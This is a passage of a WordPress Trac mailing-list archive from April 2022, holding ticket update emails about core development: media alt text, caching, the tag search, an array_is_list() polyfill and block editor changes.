field with IPTC Photo Metadata Standard Alt Text In-Reply-To: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> References: <055.78e28d901417e4e4869061ec37a14758@wordpress.org> Message-ID: <070.f314740aa4726a3caff802dda1207c97@wordpress.org> #55535: Pre-populate Image Alt Text field with IPTC Photo Metadata Standard Alt Text -------------------------+------------------------------ Reporter: eatingrules | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: Awaiting Review Component: Media | Version: Severity: minor | Resolution: Keywords: needs-patch | Focuses: accessibility -------------------------+------------------------------ Comment (by carolinescribely): Thought it might help to provide an image with embedded photo metadata. This meme has the new IPTC AltTextAccessibility and ExtDescrAccessibility properties, as well as a number of other descriptive fields (Title, Headline, Description/Caption, Description Writer). Posted above. Not sure if uploading this image will strip out the metadata so here's a Google Drive link just in case: https://drive.google.com/file/d/1MKSk5GZfGoxUdJxyWubS9PNKnIZCu8gS/view?usp=sharing -- Ticket URL: <https://core.trac.wordpress.org/ticket/55535#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 00:42:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 00:42:56 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.e419663d07fbc50ee5125d3ab02b18ea@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------+-------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: performance -------------------------+-------------------------- Comment (by peterwilsoncc): Thanks @Chouby and @audrasjb. For the sake of a single line in default-filters.php, clearing the static on `change_locale` seems safest. I'd be surprised if failing to do so broke a plugin but similar enough surprises have happened in the past. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 02:03:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 02:03:35 -0000 Subject: [wp-trac] [WordPress Trac] #15134: WordPress should not try to remove themes or plugins recursively if the directory is a symlink In-Reply-To: <063.b4790b9dde77a313ebcfce1c9b3877f0@wordpress.org> References: <063.b4790b9dde77a313ebcfce1c9b3877f0@wordpress.org> Message-ID: <078.b70e99166228d8b15909f17bdecf2052@wordpress.org> #15134: WordPress should not try to remove themes or plugins recursively if the directory is a symlink -------------------------------------+----------------------- Reporter: vladimir_kolesnikov | Owner: pbiron Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: critical | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------- Changes (by jqz): * severity: major => critical Comment: Bump. 11 years, no fix. Disappointing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/15134#comment:35> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 02:52:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 02:52:59 -0000 Subject: [wp-trac] [WordPress Trac] #42070: Remove networks_have_paths cache key In-Reply-To: <056.ee8a4d5d4c2f2fd9338c64ba231bcecb@wordpress.org> References: <056.ee8a4d5d4c2f2fd9338c64ba231bcecb@wordpress.org> Message-ID: <071.03b7164e9b00198386cd8f3dfe15f2e0@wordpress.org> #42070: Remove networks_have_paths cache key --------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: multisite --------------------------------+--------------------------- Comment (by johnjamesjacoby): PR looks good to me. -- Ticket URL: <https://core.trac.wordpress.org/ticket/42070#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 02:57:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 02:57:18 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.aca2f092d6abc416054e2c1175775fec@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests needs-refresh | performance -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing needs-unit-tests => has-patch needs- testing needs-unit-tests needs-refresh * severity: critical => normal Comment: [attachment:"33885.5.diff"] no longer applies, three of the four hunks fail. Using object caching makes sense to me. Lowering the priority as custom fields are hidden away on fresh WP installs and the queries are bypassed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:96> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 03:58:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 03:58:21 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.852abc32825bd862c2a6f7b7874915cc@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing | -------------------------------------+------------------------------------- Comment (by peterwilsoncc): The changes to `ajax-response.js` will need to go in on a separate ticket. The same JavaScript is used on the media, user, updater and any page with a list table. While ensuring AJAX responses are announced is ambiguously a good thing, it needs to go on another ticket to ensure adequate testing can take place. A lot of the pages using `ajax-response.js` have existing calls to `wp.a11y.speak()` so I don't want to risk adding double-up announcements on a ticket with another focus. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 04:23:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 04:23:16 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.2e222e63be997e0aa8903c34c75c3e6d@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by peterwilsoncc): In [changeset:"53082" 53082]: {{{ #!CommitTicketReference repository="" revision="53082" Editor: Soft deprecate block supports functions. Reinstate the functions hard deprecated in [53076]: `wp_skip_border_serialization()`, `wp_skip_dimensions_serialization()` and `wp_skip_spacing_serialization()`. Props ramonopoly. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:35> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 04:34:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 04:34:06 -0000 Subject: [wp-trac] [WordPress Trac] #42070: Remove networks_have_paths cache key In-Reply-To: <056.ee8a4d5d4c2f2fd9338c64ba231bcecb@wordpress.org> References: <056.ee8a4d5d4c2f2fd9338c64ba231bcecb@wordpress.org> Message-ID: <071.1a7b33e5e948aaedcb0a009d6f399867@wordpress.org> #42070: Remove networks_have_paths cache key --------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: multisite --------------------------------+--------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53083" 53083]: {{{ #!CommitTicketReference repository="" revision="53083" Networks and Sites: Remove duplicate cache entry. Remove the `networks_have_paths, site-options` cache entry as it duplicates caching within the `WP_Network_Query` class. Props uday17035, spacedmonkey, johnbillion, johnjamesjacoby. Fixes #42070. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/42070#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 04:52:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 04:52:47 -0000 Subject: [wp-trac] [WordPress Trac] #54742: Fix GHA on first runs for new branches In-Reply-To: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> References: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> Message-ID: <072.bc1127d67577a9e2197fe2283d51affe@wordpress.org> #54742: Fix GHA on first runs for new branches ------------------------------+----------------------- Reporter: davidbaumwald | Owner: desrosj Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: ------------------------------+----------------------- Changes (by peterwilsoncc): * keywords: has-patch commit => needs-patch Comment: Keyword maintenance to keep reports clean. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54742#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 04:56:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 04:56:01 -0000 Subject: [wp-trac] [WordPress Trac] #54042: Extending wpdb::prepare() to support table/field names, and IN() operator In-Reply-To: <056.f04485e63ca681f362f38671080f1fa1@wordpress.org> References: <056.f04485e63ca681f362f38671080f1fa1@wordpress.org> Message-ID: <071.2b9000755893e3840e88caca9d15ba43@wordpress.org> #54042: Extending wpdb::prepare() to support table/field names, and IN() operator -------------------------------------------------+------------------------- Reporter: craigfrancis | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future | Release Component: Database | Version: Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: testing early has-unit-tests | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: @craigfrancis I'll move this off the milestone to keep focus on the identifiers ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54042#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 05:00:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 05:00:38 -0000 Subject: [wp-trac] [WordPress Trac] #55433: Twenty Twenty-Two: Implement alternate json files In-Reply-To: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> References: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> Message-ID: <065.9b72fa2051a61f3d7305f4699f8b4667@wordpress.org> #55433: Twenty Twenty-Two: Implement alternate json files ---------------------------------------------+--------------------- Reporter: kjellr | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: needs-design-feedback has-patch | Focuses: ---------------------------------------------+--------------------- Comment (by chaion07): Thanks @kjellr for reporting this. We reviewed this ticket during a [https://wordpress.slack.com/archives/C02S78ZAL/p1649177132990679 recent design triage]. We received mixed reactions during the discussion for this ticket with questions and comments such as: 01. It seems like a single theme should be one look. Why would the alternate jsons be so different? 02. The ticket shouldn't even exist 03. The feature isn't mature yet and the theme doesn't need that Props to @joyously for the discussion on this ticket. Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55433#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 05:09:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 05:09:48 -0000 Subject: [wp-trac] [WordPress Trac] #55105: Introduce a polyfill for `array_is_list()`. In-Reply-To: <051.b8ae2c08f5ad2c8bbe71037bcf23450d@wordpress.org> References: <051.b8ae2c08f5ad2c8bbe71037bcf23450d@wordpress.org> Message-ID: <066.9821d8b7cca67651913d4e4e9239a0eb@wordpress.org> #55105: Introduce a polyfill for `array_is_list()`. ---------------------------------------------------+--------------------- Reporter: costdev | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: minor | Resolution: Keywords: has-patch has-unit-tests dev-feedback | Focuses: ---------------------------------------------------+--------------------- Changes (by peterwilsoncc): * version: 5.9 => Comment: Feature requests don't require a version, so I have removed that. @costdev As there hasn't been any additional discussion, are you able to decide whether you'd like to have another go in a future milestone or close this as maybelater? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55105#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 05:14:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 05:14:30 -0000 Subject: [wp-trac] [WordPress Trac] #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination In-Reply-To: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> References: <057.1f80da9db458885dd4af52bfe9a0aa4b@wordpress.org> Message-ID: <072.d207137cb783cc71ac8e97994425dbdf@wordpress.org> #54219: Updated 'screen-per-page' padding for better navigation appearance on all Screen Options > Pagination ----------------------------+-------------------------------------- Reporter: Ankit K Gupta | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, css, administration ----------------------------+-------------------------------------- Comment (by mehedi890): Thanks, @sabernhardt for the suggestion. I have tested with `small-text` class and it looks good to me. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54219#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 05:17:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 05:17:25 -0000 Subject: [wp-trac] [WordPress Trac] #48393: Fix from #38903 prevents options autoload parameter update In-Reply-To: <051.6e1b42bbb70ebebfa7f41864a2f376f1@wordpress.org> References: <051.6e1b42bbb70ebebfa7f41864a2f376f1@wordpress.org> Message-ID: <066.b98b990ef6478c222b28144cf417f4ee@wordpress.org> #48393: Fix from #38903 prevents options autoload parameter update -------------------------------------+----------------------------- Reporter: aboltro | Owner: SergeyBiryukov Type: enhancement | Status: accepted Priority: normal | Milestone: Future Release Component: Options, Meta APIs | Version: Severity: major | Resolution: Keywords: 2nd-opinion needs-patch | Focuses: administration -------------------------------------+----------------------------- Changes (by peterwilsoncc): * type: defect (bug) => enhancement * milestone: 6.0 => Future Release Comment: Bumping this from 6.0 as there hasn't been any activity for this cycle. It's too late to get a breaking change suitably patched, reviewed, etc before the beta. I've changed the ticket type to enhancement as the change been discussed here is documented and was discussed in #26394. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48393#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 05:34:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 05:34:55 -0000 Subject: [wp-trac] [WordPress Trac] #32747: WP Admin Menus/SubMenus Overlap in small screen In-Reply-To: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> References: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> Message-ID: <068.9cfcbb31c5b56383120fa96d6bc170e1@wordpress.org> #32747: WP Admin Menus/SubMenus Overlap in small screen -------------------------------------+------------------------------------- Reporter: turtlepod | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.2.2 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: ui, accessibility, css -------------------------------------+------------------------------------- Comment (by mehedi890): Thanks, @ryokuhi for your feedback. I created a PR with package-lock.json that was my mistake. Later I created another [PR](https://github.com/WordPress/wordpress-develop/pull/2455) which is currently open for this ticket -- Ticket URL: <https://core.trac.wordpress.org/ticket/32747#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 05:36:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 05:36:21 -0000 Subject: [wp-trac] [WordPress Trac] #55105: Introduce a polyfill for `array_is_list()`. In-Reply-To: <051.b8ae2c08f5ad2c8bbe71037bcf23450d@wordpress.org> References: <051.b8ae2c08f5ad2c8bbe71037bcf23450d@wordpress.org> Message-ID: <066.1dbb41fa3d3b813718608a5b4e9a839b@wordpress.org> #55105: Introduce a polyfill for `array_is_list()`. --------------------------------------+------------------------- Reporter: costdev | Owner: (none) Type: feature request | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: minor | Resolution: maybelater Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch has-unit-tests dev-feedback => has-patch has-unit- tests * status: new => closed * resolution: => maybelater * milestone: 6.0 => Comment: Yeah, let's close this one as `maybelater` so it can be picked up, with unit tests, if use cases are found. For some futureproofing, I'll close the PR and upload a `.diff` to the ticket, which will include an additional dataset for `array( NAN )`. Some history for contributors who may look at this in future: 1. The patch uses `foreach ( $arr...` instead of `array_keys( $arr )` or `array_keys($arr) === range(count($arr)-1)` to avoid creating new arrays unnecessarily. This means only one pass over the array, and is in line with the example given in the [https://wiki.php.net/rfc/is_list RFC's Proposal section]. 2. An early return for an empty array is not included because an empty array will skip on the `foreach()` and return `true`. 3. [https://github.com/symfony/polyfill/blob/main/src/Php81/Php81.php#L21-L36 An alternative implementation] used by Symfony has an early return on `$array === array_values($array)`. The performance improvement from this early return is negligible, but importantly, performance is inconsistent across different versions of PHP, so I think the current implementation is the simplest and most effective polyfill for `array_is_list()`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55105#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 05:36:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 05:36:39 -0000 Subject: [wp-trac] [WordPress Trac] #55105: Introduce a polyfill for `array_is_list()`. In-Reply-To: <051.b8ae2c08f5ad2c8bbe71037bcf23450d@wordpress.org> References: <051.b8ae2c08f5ad2c8bbe71037bcf23450d@wordpress.org> Message-ID: <066.496d4b6b15265219f1513b6291de9651@wordpress.org> #55105: Introduce a polyfill for `array_is_list()`. --------------------------------------+------------------------- Reporter: costdev | Owner: (none) Type: feature request | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: minor | Resolution: maybelater Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+------------------------- Changes (by costdev): * Attachment "55105.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55105> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 05:46:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 05:46:25 -0000 Subject: [wp-trac] [WordPress Trac] #55052: The tag field hangs the browsers when you have a bunch of tags In-Reply-To: <055.ffd625f03bbb2276bdda71a686361572@wordpress.org> References: <055.ffd625f03bbb2276bdda71a686361572@wordpress.org> Message-ID: <070.909fd90a72dc4129816b69a557dbc218@wordpress.org> #55052: The tag field hangs the browsers when you have a bunch of tags ------------------------------+-------------------------- Reporter: pikamander2 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: critical | Resolution: Keywords: has-patch commit | Focuses: performance ------------------------------+-------------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing 2nd-opinion => has-patch commit * component: Query => Editor Comment: Testing notes: 1) Install classic-editor 2) Create around one thousand tags: `wp term generate post_tag --count=1111` (Tag 1, Tag 2, ... Tag n) 3) Go to the classic editor interface 4) Search for the term `tag` in the tag search **Before** * impractically large search results dropdown * I wasn't able to make it crash (even after adding another 5111 tags) but the AJAX request was slow **After** * Tags limited to a usable amount * AJAX request faster * `number` parameter confirmed to have an affect -- Ticket URL: <https://core.trac.wordpress.org/ticket/55052#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 06:32:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 06:32:47 -0000 Subject: [wp-trac] [WordPress Trac] #55504: Pullquote Block: Need Option to change casing of the citation text In-Reply-To: <058.b42e25aee68c5461d5ecbaa19a959df8@wordpress.org> References: <058.b42e25aee68c5461d5ecbaa19a959df8@wordpress.org> Message-ID: <073.cead07dd67daa11c65d1efc847d455a6@wordpress.org> #55504: Pullquote Block: Need Option to change casing of the citation text -------------------------------------------------+------------------------- Reporter: bhaveshdesai13 | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting | Review Component: General | Version: 5.9.2 Severity: minor | Resolution: Keywords: needs-design-feedback needs-dev- | Focuses: css, note needs-design needs-patch | administration -------------------------------------------------+------------------------- Changes (by bhaveshdesai13): * keywords: needs-design-feedback has-screenshots => needs-design-feedback needs-dev-note needs-design needs-patch * focuses: css => css, administration -- Ticket URL: <https://core.trac.wordpress.org/ticket/55504#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 07:15:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 07:15:20 -0000 Subject: [wp-trac] [WordPress Trac] #55530: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)" In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.32061901b5c88e96d8aef7c46cc344ea@wordpress.org> #55530: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)" -----------------------------------------+------------------------------ Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch title-attribute | Focuses: accessibility -----------------------------------------+------------------------------ Comment (by just0nequestion): The problem is within the <a title=""> Thank you for taking notice! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 09:20:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 09:20:04 -0000 Subject: [wp-trac] [WordPress Trac] #55531: Editor: Make block type aware of ancestor prop (was: Make block type aware of ancestor prop) In-Reply-To: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> References: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> Message-ID: <067.d691e2d3f8126b35dccc31b2f5c8be82@wordpress.org> #55531: Editor: Make block type aware of ancestor prop -------------------------------------------------+------------------------- Reporter: darerodz | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | -------------------------------------------------+------------------------- Changes (by gziolo): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- dev-note -- Ticket URL: <https://core.trac.wordpress.org/ticket/55531#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 09:42:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 09:42:44 -0000 Subject: [wp-trac] [WordPress Trac] #55531: Editor: Make block type aware of ancestor prop In-Reply-To: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> References: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> Message-ID: <067.80a062eecd633b03b8cc7c25a453f66a@wordpress.org> #55531: Editor: Make block type aware of ancestor prop -------------------------------------------------+------------------------- Reporter: darerodz | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: note commit | -------------------------------------------------+------------------------- Changes (by gziolo): * keywords: has-patch has-unit-tests needs-dev-note => has-patch has-unit- tests needs-dev-note commit * milestone: Awaiting Review => 6.0 Comment: Related PR in Gutenberg with the documentation changes opened by @fabiankaegy: https://github.com/WordPress/gutenberg/pull/40027 This patch looks great. Thank you @darerodz for working on it. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55531#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 09:45:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 09:45:46 -0000 Subject: [wp-trac] [WordPress Trac] #55531: Editor: Make block type aware of ancestor prop In-Reply-To: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> References: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> Message-ID: <067.23d7552caa5428d65ed088b094463956@wordpress.org> #55531: Editor: Make block type aware of ancestor prop -------------------------------------------------+------------------------- Reporter: darerodz | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: note commit | -------------------------------------------------+------------------------- Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53084" 53084]: {{{ #!CommitTicketReference repository="" revision="53084" Editor: Make block type aware of the `ancestor` field The `ancestor` field was recently added to the `block.json` schema in Gutenberg. See: https://github.com/WordPress/gutenberg/pull/39894. Props darerodz. Fixes #55531. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55531#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 11:40:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 11:40:10 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.c974e7870966142d4ceddd4409fdd039@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53085" 53085]: {{{ #!CommitTicketReference repository="" revision="53085" Editor: Update layout handling for block supports Backports changes applied in the Gutenberg plugin planned for WordPress 6.0 release. See https://github.com/WordPress/gutenberg/issues/39889. Props ramonopoly, youknowriad. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 11:50:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 11:50:19 -0000 Subject: [wp-trac] [WordPress Trac] #52575: get_home_path() returns "/" instead of path to WordPress directory In-Reply-To: <054.61a9d6b56df3874d947cb197e8b34a47@wordpress.org> References: <054.61a9d6b56df3874d947cb197e8b34a47@wordpress.org> Message-ID: <069.d5561d35e8221386f6b5e90be87e4f3d@wordpress.org> #52575: get_home_path() returns "/" instead of path to WordPress directory -------------------------------------------------+------------------------- Reporter: pixellogik | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Filesystem API | Version: 5.6.1 Severity: major | Resolution: Keywords: reporter-feedback dev-feedback | Focuses: close | -------------------------------------------------+------------------------- Comment (by lllor): I confirm the issue. In short, when accessing the website using the index.php in the root folder (it happens only when visiting the homepage) the {{{ $_SERVER['SCRIPT_FILENAME'] }}} is loaded with the root folderpath and the subsequent string processing performed by get_home_page is not executed correctly. As a workaround, the .htaccess should redirect even the / url to the subdirectory/index.php -- Ticket URL: <https://core.trac.wordpress.org/ticket/52575#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 12:40:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 12:40:32 -0000 Subject: [wp-trac] [WordPress Trac] #42438: Add support for preload links (similar to resource hints) In-Reply-To: <050.0de6892de922598589d51123ece4cc8e@wordpress.org> References: <050.0de6892de922598589d51123ece4cc8e@wordpress.org> Message-ID: <065.5c3e88f2e1d5a2d529408ad84af04e73@wordpress.org> #42438: Add support for preload links (similar to resource hints) ----------------------------------------+----------------------------- Reporter: nico23 | Owner: swissspidy Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future Release Component: Script Loader | Version: 4.9 Severity: normal | Resolution: Keywords: needs-unit-tests has-patch | Focuses: ----------------------------------------+----------------------------- Comment (by furi3r): 